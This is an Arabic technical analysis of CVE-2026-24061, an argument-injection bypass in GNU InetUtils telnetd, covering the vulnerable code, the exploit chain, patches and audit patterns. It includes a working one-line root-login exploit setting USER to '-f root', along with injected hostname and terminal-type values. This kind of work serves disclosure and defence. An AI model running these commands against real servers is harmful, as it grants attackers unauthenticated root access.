
تحليل تقني معمّق وماسح ضوئي لثغرة CVE-2026-24061، وهي تجاوز مصادقة حرج في GNU InetUtils telnetd، بما في ذلك سلسلة الاستغلال، وإثبات المفهوم (PoC)، وتفاصيل التصحيح.
CVE-2026-24061 هي ثغرة أمنية حرجة (CVSS 9.8) في تجاوز المصادقة عن بُعد في GNU InetUtils telnetd تسمح للمهاجمين غير المصادق عليهم بالحصول على وصول جذري فوري. تنبع الثغرة من عدم كفاية تعقيم متغير البيئة USER، الذي يُمرَّر مباشرة إلى /usr/bin/login كوسيط سطر أوامر. من خلال تعيين USER=-f root، يُفعّل المهاجم علامة -f الخاصة بـ login، والتي تتجاوز المصادقة بالكامل.
الإصدارات المتأثرة: GNU InetUtils 1.9.3 حتى 2.7 نوع الثغرة: CWE-88 (حقن الوسائط) تاريخ الاكتشاف: 20 يناير 2026 المكتشف: Kyu Neushwaistein (المعروف أيضًا باسم Carlos Cortes Alvarez)
telnetd/telnetd.cتبدأ الثغرة بسلسلة قالب أوامر تُعرّف كيفية استدعاء telnetd لـ /usr/bin/login:
/* Template command line for invoking login program. */
char *login_invocation =
#ifdef SOLARIS10
PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* !SOLARIS */
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif
;
ملاحظة رئيسية: على الأنظمة غير Solaris، يستخدم القالب:
%?u{-f %u}{%U} - هذا تعبير شرطي يعني:
user_name معينًا (%u)، استخدم -f %u (تسجيل دخول تلقائي مصادق عليه)%U (متغير البيئة USER كبديل)المشكلة الحرجة: %U يتوسع إلى متغير البيئة USER الخام غير المعقّم.
telnetd/utility.c، _var_short_name())تتم معالجة سلسلة القالب بواسطة expand_line()، التي تستدعي _var_short_name() لتوسيع العناصر النائبة. إليك الكود الثغري:
/* Expand a variable referenced by its short one-symbol name. */
char *
_var_short_name (struct line_expander *exp)
{
char *q;
char timebuf[64];
time_t t;
switch (*exp->cp++)
{
case 'a':
#ifdef AUTHENTICATION
if (auth_level >= 0 && autologin == AUTH_VALID)
return xstrdup ("ok");
#endif
return NULL;
case 'd':
time (&t);
strftime (timebuf, sizeof (timebuf),
"%l:%M%p on %A, %d %B %Y", localtime (&t));
return xstrdup (timebuf);
case 'h':
return xstrdup (remote_hostname); // POTENTIALLY VULNERABLE
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL; // POTENTIALLY VULNERABLE
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup (""); // VULNERABLE!
default:
exp->state = EXP_STATE_ERROR;
return NULL;
}
}
الخطأ الحرج (case 'U'): يتم جلب متغير البيئة USER عبر getenv() ويُمرَّر بدون أي تعقيم. عندما يعيّن المهاجم USER=-f root، يصبح هذا جزءًا من سطر أوامر login.
telnetd/pty.c، start_login())يتم تنفيذ سلسلة استدعاء login الموسعة في start_login():
/* Construct login command from template */
argcv_string (argcv_length (argv, NULL), argv, &login_cmd);
/* Execute login - this runs: /usr/bin/login -p -h <hostname> -f root */
execv (argv[0], argv);
يتصل المهاجم بـ telnetd (المنفذ 23)
يحدث تفاوض خيارات Telnet:
IAC DO NEW_ENVIRONIAC WILL NEW_ENVIRONIAC SB NEW_ENVIRON SEND (طلب البيئة)IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SEيعالج الخادم متغير USER:
getenv("USER") القيمة -f root%U إلى -f root/usr/bin/login -p -h <hostname> -f rootيفسر login الوسيط -f root:
-f تعني "تخطي المصادقة، المستخدم مصادق عليه مسبقًا"root هو اسم المستخدم لتسجيل الدخول به# On attacker machine:
USER='-f root' telnet -a <target_ip>
تُفعّل علامة -a وضع تسجيل الدخول التلقائي، الذي يرسل متغير البيئة USER إلى الخادم.
يشير التقرير الأمني صراحةً: "وبالتالي هناك احتمالية لوجود ثغرات مشابهة لمتغيرات أخرى." دعنا نحلل كل متغير في _var_short_name():
| المتغير | الاسم | المصدر | قابل للتحكم من المستخدم؟ | معقّم؟ | سطح الهجوم |
|---|---|---|---|---|---|
%U | متغير البيئة USER | getenv("USER") | نعم (عبر NEW_ENVIRON) | لا | حرج - CVE-2026-24061 |
%h | remote_hostname | بحث DNS/PTR | جزئي (سجل PTR) | لا | عالي |
%T | terminaltype | خيار TERMINAL-TYPE | نعم | لا | متوسط |
%u | user_name | تفاوض البروتوكول | نعم | لا | متوسط (يتطلب مصادقة) |
%l | local_hostname | إعداد النظام | لا | غير قابل للتطبيق | منخفض |
%L | line (TTY) | مخصص من النظام | لا | غير قابل للتطبيق | منخفض |
%t | tty shortname | مخصص من النظام | لا | غير قابل للتطبيق | منخفض |
%d | التاريخ/الوقت | ساعة النظام | لا | غير قابل للتطبيق | لا شيء |
%a | حالة المصادقة | حالة داخلية | لا | غير قابل للتطبيق | لا شيء |
%h - اسم المضيف البعيد (خطر عالي)المصدر: يتم تعبئته في telnetd_setup() من telnetd.c عبر getnameinfo() أو gethostbyaddr().
المشكلة: إذا تحكم المهاجم في سجل PTR (DNS عكسي) الخاص به، فقد يتمكن من حقن:
foo -f root
كاسم مضيفه، والذي سيصبح جزءًا من وسيط -h:
/usr/bin/login -p -h "foo -f root" ...
صعوبة الاستغلال:
سيناريو واقعي: يمكن للمهاجم الذي يتحكم في سجل PTR لعنوان IP الخاص به (شائع لدى مزودي VPS) تعيين DNS العكسي الخاص به إلى قيمة خبيثة.
%T - نوع الطرفية (خطر متوسط)المصدر: يُستقبل عبر تفاوض Telnet TERMINAL-TYPE الفرعي، ويُخزَّن في متغير terminaltype.
المشكلة: سلسلة نوع الطرفية يتحكم بها المهاجم وغير معقّمة:
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
الاستخدام في القوالب:
%?T{-t %T} - يُستخدم مع علامة -t%?T{%T} - يُدرج مباشرةالهجوم المحتمل:
TERMINAL-TYPE: xterm -f root
ومع ذلك، يعتمد الاستغلال على:
%T (حاليًا فقط على Solaris)-t%u - اسم المستخدم المصادق عليه (خطر متوسط)المصدر: يُعيّن أثناء تفاوض المصادقة.
المشكلة: يُستخدم في نمط -f %u:
PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
إذا تمكن المهاجم من التلاعب بـ user_name لتضمين أحرف وصفية للقشرة أو وسائط إضافية، فقد يحقق تصعيدًا. ومع ذلك، يُعيّن هذا المتغير عادةً فقط بعد نوع من التحقق من المصادقة.
%l، %L، %t: مشتقة من قيم يتحكم بها النظام (اسم المضيف المحلي، أسماء أجهزة TTY) لا يمكن للمهاجمين التأثير عليها عن بُعد.
%d: يُولَّد من ساعة النظام - لا يوجد ناقل حقن.
%a: متغير حالة مصادقة داخلي - يُرجع حرفيًا "ok" أو NULL.
بناءً على هذه الثغرة، إليك أنماط للبحث عنها في قاعدة الكود:
// DANGEROUS: Direct use of environment variables
getenv("VARIABLE")
الملفات للفحص:
telnetd/utility.c - دوال توسيع أخرىtelnetd/telnetd.c - معالجة البيئةrlogind/، rshd/ - خدمات مشابهة// DANGEROUS: User data in command templates
sprintf(cmd, "command %s", user_controlled_var);
system(cmd);
execv(argv[0], argv);
// POTENTIALLY DANGEROUS: DNS data can be attacker-controlled
getnameinfo(...); // PTR lookups
gethostbyaddr(...);
// Then using result in command construction
خادم ftpd: تحقق من كيفية معالجة إدخال المستخدم في المصادقة ومعالجة الأوامر
خوادم rshd/rlogind: تستخدم هذه أنماط مصادقة مشابهة وقد تواجه مشكلات مماثلة في معالجة اسم المضيف أو البيئة
تحليل إعدادات inetd: قد يعالج إدخالًا غير موثوق عند إعداد الخدمات
نقاط تكامل Kerberos: عند معالجة أسماء المبادئ أو رموز المصادقة
fd702c02)يضيف التصحيح الأول تعقيمًا أساسيًا:
case 'U':
{
char *u = getenv("USER");
return (u && *u != '-') ? xstrdup(u) : xstrdup("");
}
يمنع هذا القيم التي تبدأ بـ - مما يمنع حقن العلامات.
ccba9f74)يقدم التصحيح الثاني دالة sanitize() قابلة لإعادة الاستخدام لجميع المدخلات التي يتحكم بها المستخدم:
/* Sanitize user-supplied string to prevent argument injection */
static char *
sanitize (const char *str)
{
if (str == NULL || *str == '-')
return xstrdup ("");
return xstrdup (str);
}
تُطبَّق على جميع المتغيرات المحتملة الخطورة:
%U (USER)%h (remote_hostname)%T (terminaltype)CVE-2026-24061 هي ثغرة حقن وسائط نموذجية ظلت غير مكتشفة لمدة 11 عامًا بسبب:
قد توجد ثغرات مشابهة في متغيري %h (اسم المضيف) و%T (نوع الطرفية)، على الرغم من أن الاستغلال أكثر تعقيدًا.
آثار أوسع: يجب تدقيق أي كود يبني أوامر قشرة أو وسائط برامج من بيانات مشتقة من الشبكة بحثًا عن ثغرات حقن مشابهة.
التخفيفات الموصى بها:
-f